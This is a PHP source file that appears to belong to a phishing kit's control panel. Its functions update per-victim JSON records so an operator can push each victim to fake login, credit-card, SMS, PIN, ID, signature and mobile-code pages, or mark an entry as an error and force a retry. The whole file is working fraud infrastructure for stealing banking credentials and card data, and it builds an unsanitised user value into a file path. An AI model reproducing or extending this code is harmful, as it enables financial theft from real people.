<?php

    function added($target, $to) {
        $file_name = $target;
        $jsonFilePath = "../panel/storage/{$file_name}.json";
        $json_data = file_get_contents($jsonFilePath);
        $user_data = json_decode($json_data, true);
        $user_data['redirect_user'] = $to;
        if($to === "login"){
            $user_data['error_login'] = 0;
        }
        elseif($to === "login-error"){
            $user_data['error_login'] = 1;
        }
        elseif($to === "information"){
            $user_data['error_information'] = 0;
        }
        elseif($to === "information-error"){
            $user_data['error_information'] = 1;
        }
        elseif($to === "credit-card"){
            $user_data['error_credit_card'] = 0;
        }
        elseif($to === "credit-card-error"){
            $user_data['error_credit_card'] = 1;
        }
        elseif($to === "sms"){
            $user_data['error_sms'] = 0;
        }
        elseif($to === "sms-error"){
            $user_data['error_sms'] = 1;
        }
        elseif($to === "pin"){
            $user_data['error_pin'] = 0;
        }
        elseif($to === "pin-error"){
            $user_data['error_pin'] = 1;
        }
        elseif($to === "id"){
            $user_data['error_ID'] = 0;
        }
        elseif($to === "id-error"){
            $user_data['error_ID'] = 1;
        }
        elseif($to === "firma"){
            $user_data['error_firma'] = 0;
        }
        elseif($to === "firma-error"){
            $user_data['error_firma'] = 1;
        }
        elseif($to === "code-mobile"){
            $user_data['error_code_mobile'] = 0;
        }
        elseif($to === "code-mobile-error"){
            $user_data['error_code_mobile'] = 1;
        }
        elseif($to === "approvation"){
            $user_data['error_approvation'] = 0;
        }
        elseif($to === "approvation-error"){
            $user_data['error_approvation'] = 1;
        }
        $updated_json_data = json_encode($user_data);
        file_put_contents($jsonFilePath, $updated_json_data);
    }

    function added_other($target, $to, $current_page, $userStatus) {
        $file_name = $target;
        $jsonFilePath = "../panel/storage/{$file_name}.json";
        $json_data = file_get_contents($jsonFilePath);
        $user_data = json_decode($json_data, true);
        $user_data['redirect_user'] = $to; 
        $user_data['current_page'] = $current_page; 
        $user_data['userStatus'] = $userStatus; 
        $updated_json_data = json_encode($user_data);
        file_put_contents($jsonFilePath, $updated_json_data);
    }

?>